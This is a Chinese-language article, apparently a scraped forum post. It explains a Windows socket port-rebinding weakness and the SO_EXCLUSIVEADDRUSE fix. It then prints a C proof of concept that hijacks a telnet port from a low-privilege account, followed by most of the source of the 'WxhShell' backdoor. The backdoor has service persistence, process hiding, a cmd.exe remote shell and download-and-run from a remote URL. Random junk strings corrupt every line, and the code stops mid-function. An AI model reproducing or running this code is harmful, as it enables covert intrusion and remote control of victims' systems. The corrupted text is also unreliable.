在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
2v\,sHw+- s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
@GNNi?EY i7_Nv saddr.sin_family = AF_INET;
1Rg tZp% D2z" Z@ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
O/Ub{=g G:7HL5u bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
ry)g<OA >4
4A 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
N_Q)AXr) DO`
K_B 这意味着什么?意味着可以进行如下的攻击:
^K.
d|z XHKiz2Pc1 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
ND $m|V-C I|8'#QX 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
^yL6A1 2.)xWCG 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
c5C 2xE}T 094~ s 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
@TBcVHy # bc$[%_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
W5z<+8R pBl'SQccp 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
awxzP*6 O<[h 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
K9O%SfshF xV w9_il2a #include
}-jS0{i #include
[CxnGeKK #include
Mm7;'Zbg #include
.
7*k}@k DWORD WINAPI ClientThread(LPVOID lpParam);
q$RJ3{Sf int main()
+}1h {
&\6Buw_ WORD wVersionRequested;
&.^(,pt DWORD ret;
Se~<Vpo WSADATA wsaData;
Ck.LsL- BOOL val;
rHYSS0*3 SOCKADDR_IN saddr;
s2F<H# SOCKADDR_IN scaddr;
}.*"ezaZw int err;
Jy<hTd*q SOCKET s;
+U9m SOCKET sc;
b* (~8JxZ int caddsize;
nYy%=B|> HANDLE mt;
{&7%wZ"t_ DWORD tid;
M:TN^ rA| wVersionRequested = MAKEWORD( 2, 2 );
0>{&8: err = WSAStartup( wVersionRequested, &wsaData );
KTLq~Ru if ( err != 0 ) {
fz>3 printf("error!WSAStartup failed!\n");
', +YWlW return -1;
T<XGG_NOl }
=c/jS saddr.sin_family = AF_INET;
ZW+M<G (dvsGYT|. //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
w8veh[%3n H#/ #yVw saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
q~:H>;:G- saddr.sin_port = htons(23);
zP554Gr ? if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
im,H|u_f4 {
n$Nb,/o printf("error!socket failed!\n");
r7|_Fm Qf return -1;
O2;iY_P7lV }
_EHz>DJ9 val = TRUE;
omdoH? //SO_REUSEADDR选项就是可以实现端口重绑定的
M9~eDw'Pr if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
}`fFzb {
z3Id8G&> printf("error!setsockopt failed!\n");
=#=<%HPT return -1;
??5y0I6+ }
Df hu //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
n <,:;0{ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
<DeC^[-P //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
3 bK.8 [pY1\$, if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
dMd2a4 {
FT'2J ret=GetLastError();
Y9<N#h# printf("error!bind failed!\n");
r<MW8 return -1;
[KcF0%a }
uy'I#^Bt listen(s,2);
;r8<
Ed while(1)
7=3'PfS {
|-)2 D=P caddsize = sizeof(scaddr);
3[{RH*nHD //接受连接请求
S[zETRSG sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
2.p?gRO if(sc!=INVALID_SOCKET)
\|@u)n_ {
<Pn]{N mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
LC>bZ!(i# if(mt==NULL)
e};\"^HH {
p[LPi5 printf("Thread Creat Failed!\n");
VZz>)Kz: break;
iVaCX Xf ' }
{u}d`%_.M }
=# /BCL7 CloseHandle(mt);
hnYL<<AA }
r'F)8% closesocket(s);
C}'Tmi WSACleanup();
{D{'
\]+ return 0;
18eB\4NlD }
D`9 a"o DWORD WINAPI ClientThread(LPVOID lpParam)
(_0r'{` {
V|\dnVQ'-% SOCKET ss = (SOCKET)lpParam;
ZbAg^2 SOCKET sc;
|YnT;q unsigned char buf[4096];
C<B+! 16 SOCKADDR_IN saddr;
PKjM1wqaG@ long num;
5jNDr`pnu DWORD val;
/gH[|d DWORD ret;
'}5Yc, //如果是隐藏端口应用的话,可以在此处加一些判断
"7z1V{ ;Y //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
/_(q7:<ZF saddr.sin_family = AF_INET;
e)M)q!nG saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
alp}p saddr.sin_port = htons(23);
P:OI]x4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
k>.n[`>$6| {
$n#NUPzG+ printf("error!socket failed!\n");
bC h return -1;
Pd8zdzf{ }
-\|S=<
g val = 100;
|Y tZOQu if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Lk8[fFa4 {
360b`zS ret = GetLastError();
%G`GdG}T return -1;
^'G,sZ6'Nh }
KD =W(\ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
o4t6NDa {
}7HR<%<7 ret = GetLastError();
qdNt2SO return -1;
ISDeLUihY }
#d* )W3e2{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
dX;Q\
]" {
qP5'&!s&! printf("error!socket connect failed!\n");
BG9.h! closesocket(sc);
`JAM]qB" closesocket(ss);
X/qLg+X return -1;
"i^<
H }
`^mY*Cb e while(1)
=}K"@5J {
_&R lR //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
FoKAF
&h7 //如果是嗅探内容的话,可以再此处进行内容分析和记录
D.ERt)l> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
+:ih`q][b num = recv(ss,buf,4096,0);
G~X93J if(num>0)
^rh{ send(sc,buf,num,0);
0-at#r: else if(num==0)
D!WyT`T break;
;^DG P num = recv(sc,buf,4096,0);
a,ZmDkzuv if(num>0)
;)XB' send(ss,buf,num,0);
Hs`j6yuc9 else if(num==0)
mx=2lL` break;
xgq
`l# }
Wz+7CRpeP closesocket(ss);
x='T`*HD closesocket(sc);
&cf(} return 0 ;
+i@{h9"6g }
;_6CV u`
L9Pj&v _j sJS<21 ==========================================================
6F:<c x^V9;V@6 下边附上一个代码,,WXhSHELL
lN~V1(1B $'%.w|MJp ==========================================================
htu(R$GSM $d\>^Q #include "stdafx.h"
J e"~/+ 4N[KmNi< #include <stdio.h>
c`O(||UZT #include <string.h>
(T|q]29 #include <windows.h>
Ba#wW
E #include <winsock2.h>
chakp!S= #include <winsvc.h>
Vk:] aveW #include <urlmon.h>
)cV*cDL1j sLze/D_M* #pragma comment (lib, "Ws2_32.lib")
@<ILF69b #pragma comment (lib, "urlmon.lib")
?F"mZu BN%;AQV #define MAX_USER 100 // 最大客户端连接数
[Ol~}@gV #define BUF_SOCK 200 // sock buffer
,GUOq!z #define KEY_BUFF 255 // 输入 buffer
/Bs42uJ3 N9cCfB\` #define REBOOT 0 // 重启
G7NRpr #define SHUTDOWN 1 // 关机
q+{$"s9v B&rw R/d #define DEF_PORT 5000 // 监听端口
cH48) b]6@
O8 #define REG_LEN 16 // 注册表键长度
\(`8ng]vs #define SVC_LEN 80 // NT服务名长度
{,+MaH 3L^]J}| // 从dll定义API
"?v{?,@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
_?oofE:{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Z/G?wD|B typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Wy.^1M/n>~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
@(W{_ mw >e"vPW*[ // wxhshell配置信息
`M[o.t struct WSCFG {
6-Id{m x int ws_port; // 监听端口
rsn^YC char ws_passstr[REG_LEN]; // 口令
LTw.w:"J int ws_autoins; // 安装标记, 1=yes 0=no
d;hv_h char ws_regname[REG_LEN]; // 注册表键名
s2`Qh9R
char ws_svcname[REG_LEN]; // 服务名
-*[:3% char ws_svcdisp[SVC_LEN]; // 服务显示名
_lMSW6 char ws_svcdesc[SVC_LEN]; // 服务描述信息
D~b_nFD char ws_passmsg[SVC_LEN]; // 密码输入提示信息
!hjA int ws_downexe; // 下载执行标记, 1=yes 0=no
Ox%p"xuP, char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
(sqI:a char ws_filenam[SVC_LEN]; // 下载后保存的文件名
e#odr{2#4u :^rt8>~ };
0b(x@> X" Upml // default Wxhshell configuration
mlix^P struct WSCFG wscfg={DEF_PORT,
c^1tXu|& "xuhuanlingzhe",
$*+IsP! 1,
@hwe "Wxhshell",
sR;u#". "Wxhshell",
BcxALRWE "WxhShell Service",
"cz'|z` "Wrsky Windows CmdShell Service",
I7XJPc4} "Please Input Your Password: ",
?egZkg=U
1,
ZxB7H{ "
http://www.wrsky.com/wxhshell.exe",
"'74GY8, "Wxhshell.exe"
'!<gPAVTzV };
jSMxb a] mqK}yK^P] // 消息定义模块
@!Rklhb char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
} fJLY\ char *msg_ws_prompt="\n\r? for help\n\r#>";
#Q1}h char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
):lH char *msg_ws_ext="\n\rExit.";
26ae|2?
char *msg_ws_end="\n\rQuit.";
Z=dM7 Lj* char *msg_ws_boot="\n\rReboot...";
(vFO'jtcB- char *msg_ws_poff="\n\rShutdown...";
<DZ$"t char *msg_ws_down="\n\rSave to ";
kRqe&N e gy Ey=@L char *msg_ws_err="\n\rErr!";
Mp?L9 char *msg_ws_ok="\n\rOK!";
GK=b Xp[x O 0 char ExeFile[MAX_PATH];
,lcSJ^yr int nUser = 0;
Y?ZzFd,i& HANDLE handles[MAX_USER];
NXX/JJ+w int OsIsNt;
z/,&w_8,: L+8{%\UPd SERVICE_STATUS serviceStatus;
*WfQi8 SERVICE_STATUS_HANDLE hServiceStatusHandle;
`\$EPUM MdDL?ev // 函数声明
5?q6g int Install(void);
Y94S!TbB int Uninstall(void);
Z&of-[) int DownloadFile(char *sURL, SOCKET wsh);
&B\ sG= int Boot(int flag);
0X:$ASocU void HideProc(void);
a"&cm'\lL int GetOsVer(void);
+c$:#9$ | int Wxhshell(SOCKET wsl);
e2yCWolmTS void TalkWithClient(void *cs);
u|cP&^S int CmdShell(SOCKET sock);
Eh*(N(` int StartFromService(void);
jG{OLF6 ! int StartWxhshell(LPSTR lpCmdLine);
SuXeUiK.[ '+\t,>nRkl VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
<HnpI VOID WINAPI NTServiceHandler( DWORD fdwControl );
r{KQ3j9O IGOEqUw* // 数据结构和表定义
l5#SOo\ SERVICE_TABLE_ENTRY DispatchTable[] =
=!\Y;rk {
d ehK#8 {wscfg.ws_svcname, NTServiceMain},
Xe&p.v {NULL, NULL}
6Ey@)p..E };
;!A=YXB Y5c[9\'\ // 自我安装
<eZ*LK? int Install(void)
[HI$[:[ {
U!(es0rX char svExeFile[MAX_PATH];
~ dk9 7Z8 HKEY key;
^YJ%^P strcpy(svExeFile,ExeFile);
/0o#V-E) ~+C)0Yn // 如果是win9x系统,修改注册表设为自启动
XZ@|(_Z if(!OsIsNt) {
*M/:W =,t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
'&nQ~=3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
fejC,H4I RegCloseKey(key);
Cu!]-c{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
JT&RaFX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_+X-D9j(l RegCloseKey(key);
_u]%K-_ return 0;
n,d)Wwe_`y }
n(`|:h" }
"n_X4e+18P }
"8R
&c} else {
c]n"1YNm !hFhw1 // 如果是NT以上系统,安装为系统服务
4xH/a1&p= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
FA+"t^q if (schSCManager!=0)
rsq?4+\ {
ac\( [F- SC_HANDLE schService = CreateService
Gt+rVJ=v (
o7s!ti\G schSCManager,
kD0bdE| wscfg.ws_svcname,
^qzH(~g{M wscfg.ws_svcdisp,
Qj'Ik`o SERVICE_ALL_ACCESS,
B$n 1k45 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SgYMPBh SERVICE_AUTO_START,
}'*6 A SERVICE_ERROR_NORMAL,
+~~2OU L svExeFile,
0HUylnXf0 NULL,
PQp =bX, NULL,
G:3szz NULL,
QYi4A"$` NULL,
Tw7] NULL
Q'qX`K+@` );
-QwH| if (schService!=0)
px*1 3" {
uaz!ze+ CloseServiceHandle(schService);
3)OQgeKU CloseServiceHandle(schSCManager);
',c~8U#q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
g+5c"Yk+u~ strcat(svExeFile,wscfg.ws_svcname);
LM+d3|gSV if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
C}(@cn `L RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
<#RVA{ RegCloseKey(key);
!JyY&D~` return 0;
S8Y\@C?5 }
-i1 f
]Bd }
tbWfm5$ CloseServiceHandle(schSCManager);
{VKFw=$8 }
]Axz}: }
OQ-
Hn-H hf^<lJh~= return 1;
:m(DRD }
V$sY3,J7A% ZPyzx\6\ // 自我卸载
=#v? }JG int Uninstall(void)
mBE&>}G< {
P#,;)HF HKEY key;
*yaS^k\ 0y6M;"&~E if(!OsIsNt) {
&!OEd] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*ziR &Fr! RegDeleteValue(key,wscfg.ws_regname);
yIrJaS- RegCloseKey(key);
eZaSV>27 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'E+"N'M| RegDeleteValue(key,wscfg.ws_regname);
bMGn&6QiP[ RegCloseKey(key);
y)U?.@ return 0;
o8Gygi5 }
B\v+C!/f| }
Xl$,f`f~ }
993f6 else {
:aK?Dt Z tq}45{FH3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
jn:_2g[ if (schSCManager!=0)
I# &r5Q {
ZZ7qSyBs? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
s2#Ia>5! if (schService!=0)
i'7+
?YL {
|1RVm?~i if(DeleteService(schService)!=0) {
LP=j/qf| CloseServiceHandle(schService);
T!8^R|!a6 CloseServiceHandle(schSCManager);
](A2,F
9(U return 0;
T*f/M }
>WIc"y. CloseServiceHandle(schService);
m3gv %h }
'gvR?[!t CloseServiceHandle(schSCManager);
X!p`|i }
G$>QH-p }
Sk E <V0 ;Mup@)!j return 1;
-cM1]soT }
^J5{quV 8.[F3Tk= // 从指定url下载文件
Fq@o_bI int DownloadFile(char *sURL, SOCKET wsh)
B*,)@h {
lI 4tW= HRESULT hr;
$[A\i<# char seps[]= "/";
tqZ+2c<W3 char *token;
NS~;{d\ char *file;
DK\XC%~m char myURL[MAX_PATH];
\xj;{xc char myFILE[MAX_PATH];
,-4NSli :-B+W9'5 strcpy(myURL,sURL);
d=PX}o^ token=strtok(myURL,seps);
_r*\ BM8y while(token!=NULL)
jYFJk&c {
\&5V'; file=token;
!Aw^X} C token=strtok(NULL,seps);
b,E ?{uG }
D &"D[|@ y
%Q. ( GetCurrentDirectory(MAX_PATH,myFILE);
ch8a strcat(myFILE, "\\");
=FrB{Eu strcat(myFILE, file);
`8ac;b send(wsh,myFILE,strlen(myFILE),0);
s*ZE`/SM3 send(wsh,"...",3,0);
} #rTUX hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Q$c6l[(g if(hr==S_OK)
)1uiY
f&k return 0;
e@Lxduq else
FfdB% return 1;
(Jk&U8y @PEFl" }
<w{?b'/q /ce;-3+ // 系统电源模块
c Mgd int Boot(int flag)
dRX~eIw {
}IyF|[ HANDLE hToken;
j#1G?MF TOKEN_PRIVILEGES tkp;
lh8QtPe P.'.KZJ:WD if(OsIsNt) {
u^~7[OkE OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
3m1(l?fp LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
rm8Ys61\= tkp.PrivilegeCount = 1;
bDkZU tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
"lI-/G AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Io1j%T#ZT if(flag==REBOOT) {
m2c'r3 UEu if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
BDB*>y7( return 0;
;=Ma+d# }
C\EIaLN< else {
>fH0>W+! if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Vr1}Zv3K' return 0;
6ZqU:^3 }
bj
pruJ`= }
RdYmh>c else {
EtKq.<SJ if(flag==REBOOT) {
+/~]fI if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
2R[v*i^S return 0;
/jG?PZ=m }
}a7d(7 else {
(/e&m=~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
f#0HiE! return 0;
]n!V }
Mu\V3`j }
T/_u;My; BJj'91B[d return 1;
H9mN nZ_k }
i]v3CY|3AI }QFL // win9x进程隐藏模块
YThVG0I = void HideProc(void)
W,xdj! ^t {
sbW+vc oY)eN?c HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
o,*m,Qc if ( hKernel != NULL )
/Y#8.sr {
;@wa\H[3v2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
)A8#cY!< ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
b`jR("U FreeLibrary(hKernel);
JQV%W+-@ }
\ 'm7un iWs6 !s! return;
AxH;psj }
6g|,]{ v$y\X3)mB // 获取操作系统版本
T}&A-V$ int GetOsVer(void)
?Mjs [| {
/5NWV#- OSVERSIONINFO winfo;
'Z{`P0/^o` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
kL'4m GetVersionEx(&winfo);
~H}Z;n]H if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
T
lXS}5^ return 1;
C4mkt2Eb0a else
gP%<<yl return 0;
x{1 v(n8+= }
)Te\6qM ~7:q+\ // 客户端句柄模块
Y~UuT8-c int Wxhshell(SOCKET wsl)
`% 9Y)a/e {
|! 9~ SOCKET wsh;
w
<r*& struct sockaddr_in client;
+(+lbCW/ DWORD myID;
xV>
.] ht-'O"d: while(nUser<MAX_USER)
REh"/d {
5U2%X
pO int nSize=sizeof(client);
Et 0gPX- wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
'.v;/[0 if(wsh==INVALID_SOCKET) return 1;
-wn-PB@r 56pj(}eq handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
G4|C227EO if(handles[nUser]==0)
{sw|bLo|+ closesocket(wsh);
0~nX7 else
S Qmn*CW nUser++;
{!I`EN] }
OxJHhF WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
r Ea(1(I QbJ7$, 4 return 0;
f7&ni#^Ztj }
GgpE"M? (Y~/9a4X // 关闭 socket
59.$;Ip;g void CloseIt(SOCKET wsh)
]3v)3Wp {
u>'0Xo9R closesocket(wsh);
LQF;T7VKS) nUser--;
02]HwsvZ ExitThread(0);
<aPZE6z }
aj?ZVa6 ]9QXQH // 客户端请求句柄
7J9<B5U void TalkWithClient(void *cs)
%w&+o.k/ {
@1j*\gYz c44s@E SOCKET wsh=(SOCKET)cs;
! Vl)aL char pwd[SVC_LEN];
nS]e char cmd[KEY_BUFF];
|E6Thvl$ char chr[1];
Ox)<"8M int i,j;
%s}{5Qcl/ :a8Sy(" while (nUser < MAX_USER) {
x1~AY/)v V dJ if(wscfg.ws_passstr) {
Ktk?(49 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'A[PUSEE //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+P))*0(c_ //ZeroMemory(pwd,KEY_BUFF);
}X9&!A8z i=0;
P*k n}: while(i<SVC_LEN) {
3uw3[
SR1 N!7?D'y
// 设置超时
3ko
h!q+ fd_set FdRead;
5B%KiE&p struct timeval TimeOut;
xZ'C(~t FD_ZERO(&FdRead);
3=wcA/"! FD_SET(wsh,&FdRead);
[Vbdsu9 TimeOut.tv_sec=8;
\>\ERVEd TimeOut.tv_usec=0;
z&9ljQ
iF int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
s58dHnj5+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
hrX/,D -c j~bNH~3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
`{ Ox=+]M pwd
=chr[0]; c{kpgN
if(chr[0]==0xd || chr[0]==0xa) { N(i.E5&9
pwd=0; C#[P<= v
break; vAP1PQX;
} b|V<Kp
i++; &am<_Tn*3
} Q0-gU+ig
U^}7DJ
// 如果是非法用户,关闭 socket ?*
+>T@MH
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I`+,I`~u
} R.1.LB
#y&5pP:@
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y /vc\e
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xsU%?"r
zZd.U\"2
while(1) { _k}Qe;
#bcZ:D@FC
ZeroMemory(cmd,KEY_BUFF); 0[H/>%3O
{*;K>%r\o
// 自动支持客户端 telnet标准 r7R39#
j=0; }x|q*E\
while(j<KEY_BUFF) { 9y[U\[H
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;Mmu}
cmd[j]=chr[0]; &CQ28WG X
if(chr[0]==0xa || chr[0]==0xd) { :/gHqEC24
cmd[j]=0; #HP-ne; #
break; Jr'a_(~
} +b_[JP2
j++; V}`ri~
} ]?V:+>t=
07=I&Pum
// 下载文件 k^d^Todq.
if(strstr(cmd,"http://")) { qQfNT.
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7`7 M4
if(DownloadFile(cmd,wsh)) ,n%b~.$:v5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,dd1/zm
else ml2/}}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bp" @p:
} 'PrBa[%
else { GfSD%"
h}tC+_"D
switch(cmd[0]) { @[v,q_^8
R:l &2
// 帮助 \(`2 @
case '?': { Y9-F\t=~
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >tkz%;6
break; yFd .tQs
} }T PyHq"
// 安装 {\k }:)
case 'i': { B&7:=t,m(
if(Install()) w)&4i$Lk6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); eU)QoVt
else G]$EIf'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6pb~+=3n
break; $KT)Kz8tF
} )zy;!
// 卸载 <l!:#u
case 'r': { tZx}/&m-
if(Uninstall()) amExZ/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jza?DhSAZ
else HNc/p4z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O46v
break; 0s Jp,4Vv
} _KtV`bF
// 显示 wxhshell 所在路径 YvuE:ia
case 'p': { [jCYj0Qf8
char svExeFile[MAX_PATH]; ;K7kBp\d
strcpy(svExeFile,"\n\r"); a;Pn.@NVq
strcat(svExeFile,ExeFile); a>-qHX-l
send(wsh,svExeFile,strlen(svExeFile),0); 0t(c84o5
break; _Wk*h}x
} SXe1Q8;
// 重启 __+8wC
case 'b': { ~K5A$s2
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QrFKjmD<
if(Boot(REBOOT)) Y^DGnx("m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3.P7GbN
else { Xf"<
>M
closesocket(wsh); O8>&J-+2
ExitThread(0); raSga'uT;
} rtbV*@Z
break; p(="73
} AEx VKy
// 关机 0Ntvd7"`}
case 'd': { eU`O=uE
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^7i7yM}6(
if(Boot(SHUTDOWN)) h{zb)'R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =_j<x$,b-
else { Al@. KTK
closesocket(wsh); 3*\Q]|SI!
ExitThread(0); SHB'g){P
} av5a2r0W1
break; BHU$QX
} /ece}7M
// 获取shell IG\Cj7{K^
case 's': { aO(iKlZ$
CmdShell(wsh); t,r:='
closesocket(wsh); oC}
u
ExitThread(0); q7_Ttjn-DV
break; /s+IstW
} O&y`:#
// 退出 L^Q;M,.c;
case 'x': { VpB)5>
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f8WI@]1F
CloseIt(wsh); sSwY!";
break; p_]b=3wt~
} -F*vN'
// 离开 Pw +nO
case 'q': { [MKG5=kaE
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Qm*ZOz'i
closesocket(wsh); ?*
,
WSACleanup(); f9<"
exit(1); \RPwSx
break; gs/o cu
} &%@O V:C
} yH43Yo#Rk
} @TXLg2
5a@9PX^.J
// 提示信息 ~Ma r
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9;\mq'v%
} wD$UShnm9-
} =O8>[u;
}(XKy!G6
return; RjgJIVm(
} :?y Ma$
+?Cy8Ev?
// shell模块句柄 YAeF*vP
int CmdShell(SOCKET sock) );q~TZ[Do
{ .oLV\'HAR
STARTUPINFO si; W[j,QU
ZeroMemory(&si,sizeof(si)); rev*G:
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %yjD<2J;
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v[8+fd)}S
PROCESS_INFORMATION ProcessInfo; 'DpJ#w\81
char cmdline[]="cmd"; q{B?j%.o
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n|rKo<Y0
return 0; ~LOE^6C+~o
} IFS_DW
q3h&V
// 自身启动模式 dT?3Q;>B?
int StartFromService(void) z5~W
>r
{ f.66N9BHL,
typedef struct kQ lwl9
{ N]|>\
DWORD ExitStatus; cL03V? }
~
DWORD PebBaseAddress; rMZuiRz*
DWORD AffinityMask; 9^8OIv?m8
DWORD BasePriority; )i[Vq|n
ULONG UniqueProcessId; -TG ="U
ULONG InheritedFromUniqueProcessId; to,\n"$~!
